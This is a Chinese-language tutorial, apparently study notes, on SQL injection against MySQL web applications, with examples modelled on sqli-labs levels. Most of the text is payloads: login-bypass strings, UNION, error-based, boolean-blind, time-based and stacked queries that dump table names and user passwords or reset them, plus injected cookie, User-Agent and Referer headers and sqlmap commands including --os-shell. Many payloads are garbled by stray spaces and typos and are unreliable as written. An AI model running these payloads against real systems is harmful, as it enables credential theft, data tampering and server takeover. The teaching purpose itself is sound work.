SQL注入—结构化查询语言,是一种特殊的编程语言,用于数据库的标准数据库查询。
SQL 注入(SQL Injection)是一种常见的Web 安全漏洞。攻击者利用这个漏洞,可以增删改查数据库中数据,或者利用潜在的数据库漏洞进行攻击
万能用户名或密码
——在不知道密码的情况下,成功登录
777' or 1=1 #
admin' or '1'='1
select userid form cms_users where username = '{用户名}' and password = '{md5(密码)}'
slect userid from cms_users where username = 'admin' or '1'='1 and password = 'md5(777)'
SQL 注入的攻击行为可以描述为,用户通过在SQL注入点,通过注入SQL 语法,破坏原有SQL 结构,达到编写程序时意料之外结果的攻击行为。其成因可以归结为以下两个原因叠加造成的:
攻击者可以利用 SQL 注入漏洞,可以获取数据库中的多种信息(例如:后台管理员账户密码)。从而获取数据库中的内容。在特别的情况下还可以插入内容到数据库 、删除数据库中的内容或者修改数据库内容。若数据库权限分配存在问题(当然很少见),或者数据库本身存在缺陷,攻击者可以利用SQL 注入漏洞直接获取WebShell ,或者服务器权限。
根据不同的标准,SQL 注入漏洞可以有不同的分类:
联合查询、报错注入、布尔盲注、延时注入、堆叠查询…
GET 注入、POST 注入、Cookie 注入、HTTP注入
注入点判断
——在疑似注入点的地方尝试提交数据,进行判断是否存在SQL 注入漏洞
步骤 | 测试数据 | 判断 |
---|---|---|
1 | -1 或者 +1 | 是否有回显 |
2 | ‘ 或者 “ | 是否显示数据库错误信息,并根据内容判断是字符型还是数字型 |
3 | and 1=1(为真) and 1=2(为假) |
回显的页面是否不同(布尔类型的状态) |
4 | and sleep(5) | 判断页面是否延时 |
5 | \ | 判断转义(少) |
如果我们提交的数据没有显示到页面,为数字性注入
如果提交的数据显示到页面,为字符型注入
判断注入所得结果 | 解释 |
---|---|
回显 | 数据库中的内容是否会回显在网页中 |
数据库报错 | 数据库报错信息是否会回显在网页中 根据报错的信息进行判断,提交的数据类型是字符型还是数字型,若为字符型数据,闭合方式是什么? |
布尔类型状态 | 显示的页面不同,形成对比。页面正常或者不正常也就是and 1=1 and 1=2 |
延时 | 让数据库延时响应的时间 |
order by —判断列数
例:
http://172.143.4.12/cswara.php?id=12
http://172.143.4.12/cswara.php?id=13
-------------
#有回显
http://172.143.4.12/cswara.php?id=13
-------------
# near ''' at line 1
#中间的单引号才是SQL 语句的内容
#select * from tc_name where id=13
#13 没有出现在报错信息中,说明是数字型注入
----
#有报错
http://172.143.4.12/cswara.php?id=13 and 1=1 #页面正常
http://172.143.4.12/cswara.php?id=13 and 1=2 #页面不正常
-------
#有布尔类型状态
http://172.143.4.12/cswara.php?id=13 and sleep(5)
-----
#有延时
MySQL 中的注释 | URL 中的表现 |
---|---|
[-- ] :减减空格(三个字符) | –+ |
[#]:井号 | %23 |
[/*!5000 ok/]:内联注释 |
?id=1 '%0Aand%0A1=1%23
?id=1 '%0Band%0B1=1%23
?id=1 '%0Dand%0D1=2%23
?id=1 '%A0and%A01=2%23
——使用 union select 语句,实现跨库、跨表查询
例如:
前提:使用order by 得知列为4,并根据and 1=2 使页面报错得知3,4出现注入点
-----------------------------------
?id=1' and 1=2 union select 1,2,pi(),group_concat(table_name form) from information_schema.tables where table_schema =database()
#获取表名
----------------
?id=1' and 1=2 union select 1,2,pi(),group_concat(column_name form) from information_schema.columns where table_schema =database() and table_name = 'users'
#获取users表中的字段
---------------
?id=1' and 1=2 union select 1,2,pi(),concat(username,0x3a,password) from= 'users'
#获取字段里的用户和密码信息
*原理:*先SQL注入点进行SQL报错注入,在报错信息中执行SQL 语句。触发报错的方式有很多,具体细节也不尽相同。此处建议直接背公式,将公式带换掉 and 1=1 的部分。
在注入点的判断过程中,发现数据库中SQL语句的报错信息,会显示在页面中,因此 利用报错信息进行注入
?id=33 and (select 1 from (select count(* ), concat( 0x5e, (select database()), 0x5e,floor(rand()*2))x from information schema. tables group by x)a)
-----------------------------
?id=33 and (select 1 from (select count(* ), concat( 0x5e, (select password from cms_ users limit 0,1), 0x5e, floor(rand()*2))x from information_ schema . tables group by x)a)
?id=33 and extractvalue(1, concat( 0x5e, (select database()), 0x5e))
?id=33 and extractvalue(1, concat ( 0x5e, substr((select password from cms_ users),17,32), 0x5e))
?id=33 and updatexml(1, concat (0x5e, (select database()), 0x5e),1)
?id=33 and updatexml(1, concat(0x5e, (select substr(password,1,16) from cms_ users),0x5e),1)
?id=33 and updatexm1(1, concat (0x5e, (select substr( password,17,32) from cms_ users), 0x5e),1)
页面中有布尔类型的状态,可以根据布尔类型状态,对数据库中的内容进行判断
数据库名爆破
/oiw/?id=3' and database()='xx' --+
#不知道数据库位数
#不知道数据库名的字符集合
#爆破成本很高(费时费力)
数据库名字长度
/oiw/?id=3' and length(database())=8 --+
#若使用上述代码 ,页面正常(也就是你使用and 1=1等注入验证的时候,或者是刚登录的时候),就说明数据库名长度为8.
按位测试
#第一位
/oiw/?id=3' and ascii(substr (database( ),1,1))=115 --+
#通过测试
#115
#a
#第二位
/oiw/?id=3' and ascii(substr (database( ),2,1))=101 --+
#通过测试
#115 101
#a b
#第三位
....
半自动注入
使用sleep(),以响应时间为判断条件
数据库名长度
/sswra/gewa/?id=1' and if(length(database())>1,sleep(5),1) --+
#页面有延时
数据库名字
/sswra/gewa/?id=1' and if(length(database(),3,1)>='a',sleep(5),1) --+
#77 89 103
#a b c
#就是根据一些别的信息进行猜测,这点是信息搜集,途径有很多种,这里不过多阐述
一次HTTP请求,可以同时执行多条SQL语句,包括增删改查操作
以sqli-labs 第38关为例子
?id=2';update users set password='123456' --+
注入点在Cookie数据中,以sqli-labs-20为例子。
GET /sqli- labs/Less-20/index. php HTTP/1.1
Host: 10.4.7 .128
User-Agent: Mozilla/5.0 (X11; Linux x86_ 64; rv: 78.0) Gecko/ 20100101 Firefox/ 78.0
Accept: text/html, applicat ion/xhtml+xml, application/ xml;q=0.9, image/webp, */* ;q=0.8
Accept -Language: en-Us, en;q=0.5
Accept -Encoding: gzip, deflate
Referer: http://10. 4.7.128/sqli- labs/Less -20/
DNT: 1
Connection: close
---------
Cookie: uname=Dumb' and 1=2 union select 1, version( ), database()
#使用bp抓包,进行cookie注入
---------
Upgrade- Insecure- Requests: 1
Cache-Control: max-age=0
注入的参数需要进行base64 编码,这里以sqli-labs-22关为例子
GET /sqli- labs/Less-22/index.php HTTP/1.1
Host: 10.4.7.128
User-Agent: Mozilla/5.0 (X11; Linux x86_ 64; rv: 78.0) Gecko/ 20100101 Firefox/ 78.0
Accept: text/html, applicat ion/xhtml+xml, application/ xml;q=0.9, image/webp, */* ;q=0.8
Accept -Language: en-US, en;q=0.5
Accept -Encoding: gzip, deflate
Referer: http://10. 4.7.128/sqli- labs/Less -22/
DNT: 1
Connection: close
Cookie:
-------
#进行base64编码后,注入
uname=RHVtYiIgYW5kIDE9MiB1 bmlvbi Bz Zwx1Y3QgMSx2ZXJzaW9uKCksZGFOYWJhc2UoKSM=
------
Upgrade- Insecure- Requests: 1
注入的参数子啊User-Agent中,以sqli-labs-18关为例子
POST /sqli-labs/Less-18/ HTTP/1.1
Host: 10.4.7.128
-------
#在User-Agent中注入
User-Agent: Hello' and updatexm1(1, concat ( 0x5e, ( select database()),0x5e),1) and '1
-------
Accept: text/html, applicat ion/xhtml+xml, application/ xm1;q=0.9, image/webp, */* ;q=0.8
Accept -Language: en-Us, en;q=0.5
Accept -Encoding: gzip, deflate
Content-Type: application/ x -WWw- form-urlencoded
Content-Length: 36
Origin: http://10.4. 7.128
DNT: 1
Connection: close
Referer: http://10.4.7. 128/sqli- labs/Less-18/
Upgr ade- Insecure- Requests: 1
uname=Dumb&pas swd=Dumb&submit =Submit
POST /sqli-labs/Less-19/ HTTP/1.1
Host: 10.4.7.128
User-Agent: Mozilla/5.0 (X11; Linux x86_ 64; rv: 78.0) Gecko/ 20100101 Firefox/ 78.0
Accept: text/html, applicat ion/xhtml+xml, application/ xml;q=0.9, image/webp, */* ;q=0.8
Accept -Language: en-Us, en;q=0.5
Accept -Encoding: gzip, deflate
Content-Type: application/ x -WWw- form-urlencoded
Content- Length: 36
Origin: http://10.4. 7.128
DNT: 1
Connection: close
----
Referer: Hello' and updatexml(1, concat (0x5e, (select database()), 0x5e),1) and '1
----
Upgrade- Insecure- Requests: 1
sqlmap -r /tmp/login.post
sqlmap -u "http://10.23.176.12/ show. php?id=33" --os-shell
#10-16